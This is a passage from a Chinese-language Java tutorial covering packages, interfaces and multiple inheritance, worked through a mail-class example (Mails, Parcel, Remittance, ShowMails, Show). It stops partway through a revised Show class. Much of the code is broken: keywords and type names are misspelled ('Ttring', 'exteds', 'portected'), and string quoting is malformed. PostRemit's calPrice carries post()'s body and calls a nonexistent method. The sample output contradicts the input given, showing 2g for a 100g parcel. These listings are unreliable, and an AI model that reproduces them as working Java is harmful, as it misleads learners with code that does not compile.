<p>　　在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，包的概念和目的都与其它语言的函数库非常类似，所不同的只是其中封装的是一组类。为了开发和重用的方便，我们可以将写好的程序类整理成一个个程序包。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>自身提供了21个预先设定好的包，下面列出其中主要的几个，其余读者参看<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的API：<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang　　　　提供基本数据类型及操作<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.util　　　　提供高级数据类型及操作<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.io　　　　　提供输入/输出流控制<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.awt　　　　　提供图形窗口界面控制<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.awt.event　　提供窗口事件处理<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.net　　　　　提供支持Internet协议的功能<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.applet　　　提供实现浏览器环境中Applet的有关类和方法<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.sql　　　　　提供与数据库连接的接口<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.rmi　　　　　提供远程连接与载入的支持<br>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.security　　提供安全性方面的有关支持<br>　　我们可以引用这些包，也可以创建自己的包。</p>
<p>　　<strong>4.2.1 包的声明</strong></p>
<p>　　为了声明一个包，首先必须建立一个相应的目录结构，子目录名与包名一致。然后在需要放入该包的类文件开头声明包，形式为：<br>　　package 包名；<br>这样这个类文件中定义的所有类都被装入到你所希望的包中。例如<br>　　package Family;<br>　　class Father{<br>　　　...//类Father装入包Family<br>　　}<br>　　class Son{<br>　　　...//类Son装入包Family<br>　　}<br>　　class Daughter{<br>　　　...　　//类Daughter装入包Family<br>　　}<br>不同的程序文件内的类也可以同属于一个包，只要在这些程序文件前都加上同一个包的说明即可。譬如：<br>　　//文件 Cat.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>　　package Animals;<br>　　class Cat{/*将类Cat放入包Animals中*;<br>　　...<br>　　}<br>　　//文件Dog.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>　　package Animals;<br>　　class Dog{　　/*将类Dog放入包Animals中*/<br>　　...<br>　　}</p>
<p>　　<strong>4.2.2 包的使用</strong></p>
<p>　　在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，为了装载使用已编译好的包，通常可使用以下三种方法：<br>　　(1) 在要引用的类名前带上包名作为修饰符。如：<br>　　Animals.Cat cat=new Animals.Cat();<br>其中Animals是包名，Cat是包中的类，cat是类的对象。<br>　　(2)在文件开头使用import引用包中的类。如：<br>　　import Animals.Cat;<br>　　class Check{<br>　　　Cat cat=new Cat();<br>　　}<br>同样Animals是包名，Cat是包中的类，cat是创建的Cat类对象。<br>　　(3)在文件前使用import引用整个包。如：<br>　　import Animals.*;<br>　　class Check{<br>　　　Cat cat=new Cat();<br>　　　Dog dog=new Dog();<br>　　　...<br>　　}<br>Animals整个包被引入，Cat和Dog为包中的类，cat和dog为对应类的对象。<br>　　在使用包时，可以用点&#8220;.&#8221; 表示出包所在的层次结构，如我们经常使用的<br>　　import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.io.*;<br>　　import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.applet.*;<br>实际是引入了/<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>/io/或/<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>/applet/这样的目录结构下的所有内容。需要指出的是，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang这个包无需显式地引用，它总是被编译器自动调入的。使用包时还要特别注意系统classpath路径的设置情况，它需要将包名对应目录的父目录包含在classpath路径中，否则编译时会出错，提示用户编译器找不到指定的类。</p>
<p align=center>4.3 一个邮件类(Mails)的例子</p>
<p>　　下面我们给出一个较大的例子，让读者在实例中进一步熟悉<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的类和包。<br>　　这里所有的类都放在包ch4package中，先定义出一个虚基类Mails，然后派生出它的两个子类Parcel(包裹)和Remittance(汇款)。Show类用于实际执行，允许用户创建自己的邮件，然后显示出所有的邮件信息。为了方便地存取邮件，还定义了类ShowMails。接下来我们逐一介绍这经些类。<br>　　例4.5 类Mails程序文件。<br>　　1：package ch4package;<br>　　2: public abstract class Mails{<br>　　3: 　protected String fromAddress;<br>　　4: 　protected String toAddress;<br>　　5: 　public abstract void showMe();<br>　　6: }<br>　　类Mails是一个虚类，不能产生自己的实例对象，而只是描述了邮件最基本的特性。类文件的开头首先用<br>　　　　package cha4package;<br>表明Mails类是放于ch4package这个包里的。然后程序第二行为Mails的类声明。<br>　　　　public abstract class Mails<br>　　用修饰符abstract指出这是个虚类。第三至第四行Mails类中定义了两个变量：<br>　　　　protected String fromAddress;<br>　　　　protected String toAddress;<br>fromAddress和toAddress ,分别代表邮件的寄出地址和送往地址，都是protected类型的，这样cha4package包外的类不能直接引用，保证了信息的隐藏。第五行Mails类定义了方法<br>showMe()，用于显示一个邮件自身的有在信息：<br>　　　　public abstract voi showMe();<br>声明时以abstract修饰，意味着这是一个抽象方法，只给出原型，具体实现要由Mails类的非虚子类通过Overriding完成。<br>　　接下来是Mails的两个非虚子类。<br>　　例4.6　类Parcel和类Remittance程序文件。<br>　　//Parcel.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>　　1: package ch4package;<br>　　2: 　public class Parcel extends Mails{//邮件类的子类Parcel类<br>　　3: 　　protected int weight;<br>　　4: 　　Parcel(String address1,String address2,int w){//构造方法<br>　　5: 　　fromAddress=address1;<br>　　6: 　　toAddress=address2;<br>　　7: 　　weight=w;<br>　　8: 　}<br>　　9: 　public void showMe(){<br>　　10:　　System.out.print("Parcel:");<br>　　11:　　System.out.println("\tFrom:"+fromAddress+"\tTo:"+toAddress);<br>　　12:　　System.out.println("\tWeigth:"+weight+"g");}<br>　　13:　}<br>　　//Remittance.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>　　1: package ch4package;<br>　　2: 　public class Remittance extends Mails{//邮件类的子类Remittance<br>　　3: 　　protected int money;<br>　　4: 　　Remittance(String address1,String address2,int m){//构造方法<br>　　5: 　　fromAddress=address1;<br>　　6: 　　toAddress=address2;<br>　　7: 　　money=m;<br>　　8: 　}<br>　　9: 　public void showMe(){//显示邮件信息<br>　　10:　　System.out.println("Remittance:");<br>　　11:　　System.out.println("\tFrom:"+fromAddress+"\tTo:"+toAddress);<br>　　12:　　System.out.println("\tMoney:"+money+" Yuan");<br>　　13:　}<br>　　14:}</p>
<p>这里是邮件的两个子类：包裹Parcel和汇款Remittance。以类Parcel为例详细说明。首先在程序开头写出：<br>　　package ch4package;<br>　　一方面将类Parcel装入包ch4package，另一方面方便类Parcel使用包ch4package中的其它类，如已定义的Mails类。接下来类Parcel声明时用<br>　　extends Mails<br>表明自己是Mails的一个子类。在第三行Parcel声明了一个weight变量，用来代表包裹的重量。加上从父类Mails继承下来的变量fromAddress和toAddress，类Parcel一共有三个成员变量：<br>　　寄出地址　fromAddress，寄达地址toAddress和重量weight<br>　　相对应的，它的构造方法Parcel也必须有三个参数，分别传递给三个成员变量。构造方法的定义如第四行至第八行所示。由于Parcel类不是虚类，所以必须在其中重写完成它的父类Mails中声明的抽象方法showMe。Parcel的showMe()方法仅仅是将自己的邮件类型和三个变量的信息在屏幕上显示出来。<br>　　类Remittance与Parcel非常相似，只是它定义的变量为money，用来代表汇款的金额。它也必须具体完成方法showMe。<br>　　下面我们看到的是用于存取邮件的类ShowMails。<br>　　例4.7 类ShowMails程序文件。<br>　　1: package ch4package;<br>　　2: import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang.*;<br>　　3: public class ShowMails{<br>　　4: 　protected Mails showList[];//邮件数组序列<br>　　5: 　protected static final int maxMails=50;//最大邮件个数<br>　　6: 　protected int numMails;//当前邮件个数<br>　　7: 　ShowMails(){<br>　　8: 　　showList=new Mails[maxMails];<br>　　9: 　　numMails=0;<br>　　10:　}<br>　　11:　public void putMails(Mails mail){<br>　　12:　　if(numMails&lt;maxMails){<br>　　13:　　　showList[numMails]=mail;//加入邮件<br>　　14:　　　numMails++;//修改计数<br>　　15:　　}<br>　　16:　}<br>　　17:　public Mails getMails(int index){//获取邮件<br>　　18:　　if((0&lt;=index)&amp;&amp;(index&lt;numMails)) return showList[index];<br>　　19:　　else return null;<br>　　20:　}<br>　　21:　public void showAll(){//展示邮件<br>　　22:　　if(numMails&gt;0)<br>　　23:　　　for (int i=0;i&lt;numMails;i++){<br>　　24:　　　　System.out.print("Mail NO"+(i+1)+":");//邮件序号<br>　　25:　　　　showList[i].showMe();//邮件具体信息<br>　　26:　　　}<br>　　27:　　else<br>　　28:　　　System.out.println("No mails.");<br>　　29:　}<br>　　30:　public int mailnum(){<br>　　31:　　return numMails;<br>　　32:　}<br>　　33:}<br>　　程序第四行至第六行类ShowMails定义了三个成员变量：<br>　　　　showList[],maxMails和numMails<br>　　变量showList[]是类Mails的一个数组。但由于Mails本身是个虚类，因而showList[]的元素不可能是Mails的对象，它实际上是用来存放Mails的两个子类Parcel和Remittance的对象的。一般说来，一个被声明为类A的的变量，总可以被赋值为任何类A的子类的实例对象。这与父子类之间的类型转换的原则是一致的：父类到子类的转换可以隐式地自动进行，而子类到父类的转换则需要显式地加以说明。<br>　　变量maxMails用来指出showList[]中最多可容 纳的邮件数，它对ShowMails的所有对象都应是固定且一致的。因此它被声明为tatatic和final的，为所有对象共享且不可更改。变量numMails则用来作为showList[]中实际邮件个数的计数。<br>　　对应ShowMails的三个成员变量，我们在ShowMails()构造方法中只需做两件事：实际创建类mails的数组showList[]，然后将邮件计数numMails置零。<br>　　第11行开始的方法putMails和第17行开始的方法getMails分别完成对showList[]中邮件的存取。第30行的mailnum方法则返回当时的邮件计数值。putMails方法接受一个邮件类参数，并把它加入到当前邮件序列的末尾。getMails方法接受一个整型参数作为邮件序号，根据该序号找出当前邮件序列中对应邮件返回。当给定的邮件号index不在有效范围时，以据该序号找出当前邮件序列中对应邮件返回。当给定的邮件号index不在有效范围时，以<br>　　　　return null;(19行)<br>返回一个定值。这一句看上去并没有完成什么实质性的工作，但如果省略则编译时会出错。因为getMails方法的返回值已声明为Mails类，这就要求在任何情况下都返回一个符合这一要求的值。而空变量null可与任何类型匹配，恰好能适合这样的要求。<br>　　第21行的方法showAll显示showList[]中所有邮件的信息。每一邮件首先显示自己的邮件号。因为showList[]数组的下标从0开始，为了符合人们的日常习惯，将每一个下标加1后再作为邮件号输出。各个邮件的显示是调用邮件的showMe()方法来实现的。因为showMe()方法已经在虚类Mails中定义了，所以不管showList[]中的实际元素是Parcel还是Remittance，编译器总能顺利地连接调用相应的代码。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>面向对象特性中的动态绑定(Dynamic Binding)，保证了无需在编译前确定地知道showList[]每一个数组元素的类型，就能成功地实现这样的链接。<br>　　最后给出的类是实际执行的Shos类。<br>　　例4.8 类Show程序文件<br>　　1: package ch4package;<br>　　2: import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.io.*;<br>　　3:<br>　　4: public class Show{<br>　　5:　public static ShowMails board=new ShowMails();//邮件库变量<br>　　6:　　public static void main(String args[])throws IOException{<br>　　7: 　　　boolean finished=false;<br>　　8:　　　BufferedReader in =new BufferedReader(new InputStreamReader(System.in));<br>　　9:　　　while(!finished){//添加邮件<br>　　10:　　　　System.out.print("\nDo you want to add mails(Y/N)?");<br>　　11:　　　　System.out.flush();<br>　　12:　　　　char ch=in.readLine().charAt(0);<br>　　13:　　　　if('Y'==Character.toUpperCase(ch)){//输入地址<br>　　14:　　　　System.out.println("Address information:");<br>　　15:　　　　System.out.print("\tFrom:");<br>　　16:　　　　System.out.flush();<br>　　17:　　　　String address1=in.readLine();<br>　　18:　　　　System.out.print("\tTo:");<br>　　19:　　　　System.out.flush();<br>　　20:　　　　String address2=in.readLine();<br>　　　　　　//选择邮件各类(包裹或汇款)<br>　　21:　　　　System.out.print("Choose the mail type:1-Parcel 2-Remittance ");<br>　　22:　　　　System.out.flush();<br>　　23:　　　　ch=in.readLine().charAt(0);<br>　　24:　　　　if('1'==ch){//输入包裹重量<br>　　25:　　　　　System.out.print("Parce\tWeight:");<br>　　26:　　　　　System.out.flush();<br>　　27:　　　　　int w=getInt();<br>　　28:　　　　　Parcel pa=new Parcel(address1,address2,w);<br>　　29:　　　　　board.putMails(pa);<br>　　30:　　　　}<br>　　31:　　　　if('2'==ch){//输入汇款金额<br>　　32:　　　　　System.out.print("Remittance\tMoney:");<br>　　33:　　　　　System.out.flush();<br>　　34:　　　　　int m=getInt();<br>　　35:　　　　　Remittance re=<br>　　　　　　　　　　new Remittance(address1,address2,m);<br>　　36:　　　　　board.putMails(re);<br>　　37:　　　　}<br>　　38:　　　}<br>　　39:　　　else finished=true;<br>　　40:　　}<br>　　41:　　System.out.println(" ");<br>　　42:　　board.showAll();//输出所有邮件信息<br>　　43:　}<br>　　　//键盘输入获取整数<br>　　44:　public static int getInt() throws IOException{<br>　　45:　　BufferedReader in= new BufferedReader<br>　　　　　　　(new InputStreamReader(System.in));<br>　　46:　　String st=in.readLine();<br>　　47:　　Integer i=new Integer(st);<br>　　48:　　return i.intValue();<br>　　49:　}<br>　　50:}<br>　　由于涉及交互，类Show中用到了许多输入输出语句，我们在程序第2行用<br>　　　　import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.io.*;<br>引入<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的IO包。这个包封装了大量有关输入输出的方法，具体内容将在第七章中详细介绍。这里我们只需要弄清楚所用到的输入/出语句的功能。<br>　　在输入/出中，总有可能产生输入输出错误，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>反这引起错误都归入IOException(IO异常)因为我们不打算在程序中加入对这些异常的处理，所以需要在每个方法的参数表后用关键字throws&#8220;扔出&#8221;这些异常，如第6行<br>　　　　public static void main(String args[])throws IOException<br>这样异常发生时，将自动中止程序运行并进行标准处理。请参看第五章的内容。<br>　　程序的输入来源是一个BufferedReader类的对象in，它的声明在第８行：<br>　　BufferedReader in=new BufferedReader(new InputStreamReader(System.in));<br>因而具有BufferedReader中定义的所有输入功能。<br>　　in.readLine()<br>是读入一行输入，并返回一字符串。而<br>　　charAt(i)<br>是String类的一个方法，取得指定字符串的第i个元素作为字符型返回。这两上方法边用，则可取得想要的输入。而在输入前用<br>　　System.out.flush();<br>将缓冲清空，以保证输入的正确性。<br>　　System.out.print<br>　　System.out.println<br>都是输出语句，不同的只是后者在输出结束后自动换行。类System和getInt()中用到的类都是Interger(注意不是int!)都在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的lang名中定义，我们将在第六章详细介绍。<br>　　在了解以上的基本输入输出后，这个程序就变得较等了。为了方便起见，我们不失一般性的将Show类的所有成员都定义为static的，这样，类Show就不同志需要特别定义的构造方法了。在第５行声明的变量board是ShowMails类的对象，用来建立邮件库：<br>　　public static ShowMails board=new ShowMails();<br>第44行开始的getInt方法用来从键盘输入获得一个整数。第6行开始的main方法则是程序的主体。它实现的功能是不断询问是否要加入新邮件，肯定回答时要求选择邮件类型并输入相应信息。据此创建邮件子类对象并加入board中，直至得到不定回答退出。最后显示此时已有的邮件信息。邮件的加入和显示都通过简单的<br>　　　　board.pubMails()<br>　　　　board.showAll()<br>调用ShowMails的方法来实现的，简洁明了而层次清晰。这就是面向对象进行数据封装和重用的优点所在。要执行类Show，我们需要将例4.5～例4.8的文件依次输入、编译。最后用解释器<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>执行类Show。下面给出的是Show的运行结果，其中加下划线&#8220;_&#8221;的是键盘输入。<br>　　例4.9　类Show运行结果。<br>　　D:\<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>01&gt;<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong> ch4package.Show</p>
<p>　　Do you want to add mails(Y/N)?n　//询问有是否添加邮件</p>
<p>　　No mails.　　　　　　　　　　　　　//显示没有邮件</p>
<p>　　D:\<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>01&gt;<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong> ch4package.Show</p>
<p>　　Do you want to add mails(Y/N)?y//询问有是否添加邮件<br>　　Address information:　　　　　　//要求输入地址信息<br>　　From:NanJing<br>　　To:BeiJing<br>　　Choose the mail type:1-Parcel 2-Remittance 1//要求选择邮件类型<br>　　Parce Weight:100//要求输入包裹重量</p>
<p>　　Do you want to add mails(Y/N)?y<br>　　Address information:<br>　　From:ShangHai<br>　　To:TianJing<br>　　Choose the mail type:1-Parcel 2-Remittance 2<br>　　Remittance Money:400//要求输入汇款金额</p>
<p>　　Do you want to add mails(Y/N)?n</p>
<p>　　Mail NO1:Parcel://输出所有邮件信息<br>　　　　 From:NanJing To:BeiJing<br>　　Weigth:2g<br>　　Mail NO2:Remittance:<br>　　From:ShangHai To:TianJing<br>　　Money:400 Yuan</p>
<p>　　D:\<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>01</p>
<p align=center>4.4 <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的接口</p>
<p>　　<strong>4.4.1 引进接口的目的</strong></p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的接口也是面向对象的一个重要机制。它的引进是为了实现多继承，同时免除C++中的多继承那样的复杂性。前面讲过，抽象类中包含一个或多个抽象方法，该抽象类的子类必须实现这些抽象方法。接口类似于抽象类，只是接口中的所有方法都是抽象的。这些方法由实现这一接口的不同类具体完成。在使用中，接口类的变量可用来代表任何实现了该接口的类的对象。这就相当于把类根据其实现的功能来分别代表，而不必顾虑它所在的类继承层次。这样可以最大限度地利用动态绑定，隐藏实现细节。接口还可以用来实现不同类之间的常量共享。<br>　　为了说明接口的作用，我们不妨假设有一系列的图形类，其中一部分在图形中加入了文字，成为可编辑的，它们应当支持最普遍的编辑功能：<br>　　cut，copy，paste和changeFont<br>将这些方法的原型统一组合在一个EditShape接口中，就可以保证方法名的规范统一和使用的方便。我们画出这个假想的类和接口的继承关系图，可以更直观地了解。</p>
<p>　　　　　　　　　　　　　　　　　　　　Object<br>　　　　　　　　　　　　　　　　　　　　　&#8595;<br>　　　　　　　　　　　　　　　　　　　　Shape<br>　　　　　　　　┌────────────┼─────────────┐<br>　　　　　　　　&#8595;　　　　　　　　　　　　&#8595;　　　　　　　　　　　　　&#8595;<br>　　　　　　　Circle 　　　　　　　　　Rectangle 　　　　　　　　　Triangle<br>　　　　　　　↙　↘　　　　　　　　　　↙　↘　　　　　　　　　　　　↙　↘<br>　　PaintCircle TextCircle PaintRectangle TextRectangle PaintTriangle TextTrangle<br>　　　　　　　　　　　&#8593;　　　　　　　　　　　&#8593;　　　　　　　　　　　　　　　&#8593;<br>　　　　　　　　　　　└───────────┼───────────────┘<br>　　　　　　　　　　　　　　　　　　　　　　EditShape<br>　　　　　　　　图4.1　Shape 和 EditShape</p>
<p>　　以图中类Circle的两个子类为例。类PaintCircle未实现EditShape接口，不支持上述编辑功能。而类TextCircle既是Cricle的子类，又实现了EditShape接口，因而不但具有Circle类的图形牲，又支持EditShape定义的编辑功能。而在TextCircle，TextRectangle和TextTriangle中，支持这些编辑功能的方法是同名同参的(与EditShape的定义一致)，这又提供了使用上的方便。</p>
<p>　　<strong>4.4.2 接口的声明和使用</strong></p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的接口类似于抽象类，因而它的声明也和抽象类类似，只定义了类中方法的原型，而没有直接定义方法的内容。它的声明格式为：<br>　　[接口修饰符] interface　接口名 [extends 父类名]<br>　　　　<br>　　接口修饰符可以是public或abstract，其中abstract缺省时也有效。public的含义与类修饰符是一致的。要注意的是一个编译单元，即一个.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>文件中最多只能有一个public的类或接口，当存在public的类或接口时，编译单必须与这个类或接口同名。<br>　　被声明的变量总是被视为static和final的，因而必须在声明时给定初值。被声明的方法总是abstract的，abstarct缺省也有效。与抽象类一样，接口不需要构造方法。接口的继承与为是一样的，当然一个接口的父类也必须是接口。下面是一个接口的例子：<br>　　interface EditShape{<br>　　　void cut();<br>　　　void copy();<br>　　　void paste();<br>　　　void changeFont();<br>　　}<br>在使用时，为了将某个接口实现，必须使用关键字implements。格式是这样的：<br>　　[类修饰符] class 类名 [extends 父类名] [<font color=#ff0000>implements</font> 接口名表]<br>其中，接口名表可包括多个接口名称，各接口间用逗号分隔。&#8220;实现(implements)&#8220;了一个接口的非抽象类必须写出实现接口中定义的方法的具体代码，同时可以读取使用接口中定义的任何变量。<br>　　例4.10　接口的实现<br>　　class TextCircle extends Circle implements EditShape<br>　　{...<br>　　　void cut()　　　　　<br>　　　void copy()　　　　<br>　　　void paste()　　　　<br>　　　void changeFont　　　<br>　　　...<br>　　}</p>
<p>　　<strong>4.4.3 多继承</strong></p>
<p>　　在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，类之间只允许单继承，但我们可以把一个类实现的接口类也看作这个类的父类。类从它实现的接口那里&#8220;继承&#8221;了变量和方法，尽管这些变量是静态常量，这些方法是未实现的原型。如果一个类实现的接口类不止一个，那么所有这些接口类都被视为它的&#8220;父类&#8221;。这样，实现了一个或多个接口的类就相当于是从两个(加上该类原有意义上的父类)或两个以上的类派生出来的。<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的多继承正是建立在这种意义之上。通过接口的继承，相当于只选择了一部分需要的特征汇集在接口中由不同的类共享并继承下去，而不必通过父子类间的继承关系将所有的方法和变量全部传递给子类。所以我们又可以把<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>的这种多继承称为&#8220;有选择的多继承&#8221;。这种多继承与一般的多继承相比，更为精简，复杂度也随之大大降低。<br>　　在多继承时，一个子类可能会从它的不同父类那里继承到同名的不同变量或方法，这往往会引起两义性问题，即不知道子类中这样的变量或方法究竟是继承了哪一个父类的版本，在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">Java</strong>中，为了防止出现这样的两义性问题，规定不允许一个子类继承的父类和实现的接口类中定义同名的不同变量，否则编译该子类时将出错，无法通过。而对于方法，由于接口类中定义的总是abstract的方法原型，而没有实际代码，所以不会出现类似的两义性问题。相反，常会存在这样的情况：当接口类中要求实现的方法子类没有实现，而子类的父类中定义有同名方法时，编译器将子类从父继承的该方法视为对接口的的实现。这样的继承和实现都被认为是合法的。</p>
<p align=center><strong>4.5 实现了接口的邮件类例子</strong></p>
<p>　　这一节我们将4.3节邮件类的例子加以改进和扩展，加入有关接口的内容，以说明接口和多继承的概念。<br>　　首先定义一个名为MailPost的接口，其中没有定义变量，而是给出两个有关邮寄方法原型。<br>　　calPrice()计算邮费并以浮点数形式返回；<br>　　post()完成邮寄。<br>　　例4.11 接口MailPost。<br>　　//MailPost.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>　　package ch4package;<br>　　public interface MailPost{<br>　　　public float claPrice();<br>　　　public void post();<br>　　}<br>　　接下来在包裹Parcel和汇款Remittance的基础上分别派生出可邮寄的包裹和汇款：PostParcel和PostRemit两个子类。<br>　　例4.12　子类PostParcel和PostRemit。<br>　　---------------------------------<br>　　//PostParcel.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>package ch4package;<br>import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang.*;<br><br>public class PostParcel extends Parcel implements MailPost{<br>protected int postage;<br>protected boolean postable;<br>protected boolean posted;<br>PostParcel(Ttring address1,String address2,int w,intp){<br>//构造方法<br>super(address1,address2,w);<br>postage=p;<br>postable=false;<br>posted=false;<br>}<br>public float calPrice(){//计算邮资<br>return((float)0.05*weight);<br>}<br>public void post(){//邮寄包裹<br>float price=calPrice();<br>postable=(price&lt;=postage);<br>posted=true;<br>}<br>public void showMe(){//显示邮件信息<br>float price=calPrice();<br>System.out.println("Postable Parcel:");<br>System.out.println("\tFrom:")+fromAddress+\tTo"<br>+toAddress);<br>System.out.println("\tWeigth:)+weigth+"g\tPostage:"<br>+postage+"Yuan");<br>if(posted){<br>if(postable)System.out.println("\tIt has been<br>posted !");<br>else{<br>System.out.println("\tIt needs more postage:");<br>System.out.println("\tThe current postage<br>is:"+postage+"Yuan");<br>System.out.println("\t\tThe price is:"+price+"Yuan");<br>}<br>}<br>}<br>}<br>//PostRemit.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br>package ch4package;<br>import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang.*;<br><br>public class PostRemit exteds Remittance implements MailPost{<br>protected int postage;<br>portected boolean postable;<br>protected boolean posted;<br>PostRemit(String address1,String address2,int m,int p){<br>//构造方法<br>super(address1,address2,m);<br>postage=p;<br>postable=false;<br>posted=false;<br>}<br>public float calPrice(){//计算邮资<br>float price=cealPrice();<br>postable=(price&lt;=postage);<br>posted=true;<br>}<br>public void showMe(){//显示邮件信息<br>float price=calPrice();<br>System.out.println("Postable Remit:");<br>System.out.println("\tFrom:"+fromAddress+"\tTo:"<br>+toAddress);<br>System.out.println("\tMoney:"+money+"Yuan"+"\tPostage:"<br>+postage+"Yuan");<br>if(posted){<br>if(postable)System.out.println("\tIt has been<br>posted!");<br>else{<br>System.out.println("\tIt needs more postage:");<br>System.out.println("\t\tThe current postage is:"<br>+postage+"Yuan");<br>System.out.println("\t\tThe price is:"<br>+price+"Yuan");<br>}<br>}<br>}<br>}<br><br>　　---------------------------------<br>　　这两个类都实现了接口MailPost。由于两个类非常相似，我们仍然重点讲解其中一个：类PostParce。<br>　　PostParcel仍是包ch4package中的一员，它是类Parcel的子类(extends Parcel)，又实现了接口MailPost(implements MailPost)：<br>　　　　public class PostParcel extends Parcel implements MailPost<br>　　在Parcel的基础上，它新增加了三个变量：<br>　　　　postage，posted，postable<br>其中整型的postage用来记录邮寄人提供的邮资，布尔型的posted和postable分别用来记录是否被尝试邮寄过以及邮寄是束成功。在PostParcel的构造方法中，第9行语句<br>　　　　super(address1,address2,w);<br>调用了它的父类Parcel的构造方法，设定它从Parcel中继承的变量寄出地址、寄达地址和重量的初值。这就是我们在前面提到过的super变量在构造方法中的用途：调用父类的相应构造方法。这样做的一个好处是可以重用父类的代码，然后PostParcel就只需设定邮资，并将posted和postable初值都置为false。<br>　　PostParcel和PostRemit都实现了接口MailPost，国而在它们的定义中，都必须给出方法calPrice()和post()的具体实现。在PostParcel中，为了简单起见，邮费只是根据重量每克收到0.05元，而不考虑寄达的距离，如语句第15行：<br>　　　　return ((float)0.05*weight);<br>在post()方法中，将计算所得邮资与瑞有邮费加以比较，若邮费已够将postable设为true，包裹可邮寄；否则postable为false，包裹不可邮寄。无论postable取值如何，都已试图邮寄，所以将posted置为true。处理过程见第18行至20行。<br>　　最后一个方法是showMe()。在这里，PostParcel重写(Overriding)了它的父类Parcel中的同名方法。当包裹尚未被试图邮寄过，则在基本信息后附加有关的邮寄信息，若未邮寄成功，给出所需最费提示。<br>　　PostRemit类的基本构成与PostParcel是一致的，读者可以自己试着读懂它的源文件。<br>　　在包ch4package中，类Mails，Parcel，Remittance以及ShowMails都无需改动，只有最后的可执行类Show需要相应的修改。它的源程序如下。<br>　　例4.13 可执行类Show程序文件。<br>　　-------------------------<br>//Show.<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong><br><br>　　1: package ch4package;<br>import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.lang.*;<br>　　2: import <strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">java</strong>.io.*;<br>　　3:<br>　　4: public class Show{<br>　　5:　public static ShowMails board=new ShowMails();<br>　　6:　　public static void main(String args[])throws IOException{<br>　　7: 　　　boolean finished=false;<br>　　8:　　　BufferedReader in =new BufferedReader(new InputStreamReader(System.in));<br>　　9:　　　while(!finished){//添加邮件<br>　　10:　　　　System.out.print("\nDo you want to add mails(Y/N)?");<br>　　11:　　　　System.out.flush();<br>　　12:　　　　char ch=in.readLine().charAt(0);<br>　　13:　　　　if('Y'==Character.toUpperCase(ch)){<br>　　14:　　　　System.out.println("Address information:");<br>　　15:　　　　System.out.print("\tFrom:");//输入地址信息<br>　　16:　　　　System.out.flush();<br>　　17:　　　　String address1=in.readLine();<br>　　18:　　　　System.out.print("\tTo:");<br>　　19:　　　　System.out.flush();<br>　　20:　　　　String address2=in.readLine();<br>　　　　　　//选择邮件种类<br>　　21:　　　　System.out.print("Choose the mail type:1-Parcel<br>2-Remittance ");<br>　　22:　　　　System.out.flush();<br>　　23:　　　　ch=in.readLine().charAt(0);<br>　　24:　　　　if('1'==ch){//输入包裹重量<br>　　25:　　　　　System.out.print("Parcel\tWeight:");<br>　　26:　　　　　System.out.flush();<br>　　27:　　　　　int w=getInt();<br>//是否寄出邮件<br>System.out.print("Do you want to post it(Y/N?");<br>System.out.flush();<br>ch=in.readLine().charAt(0);<br>if('Y'==Character.toUpperCase(ch)){//输入邮资<br>System.out.println("You want to post 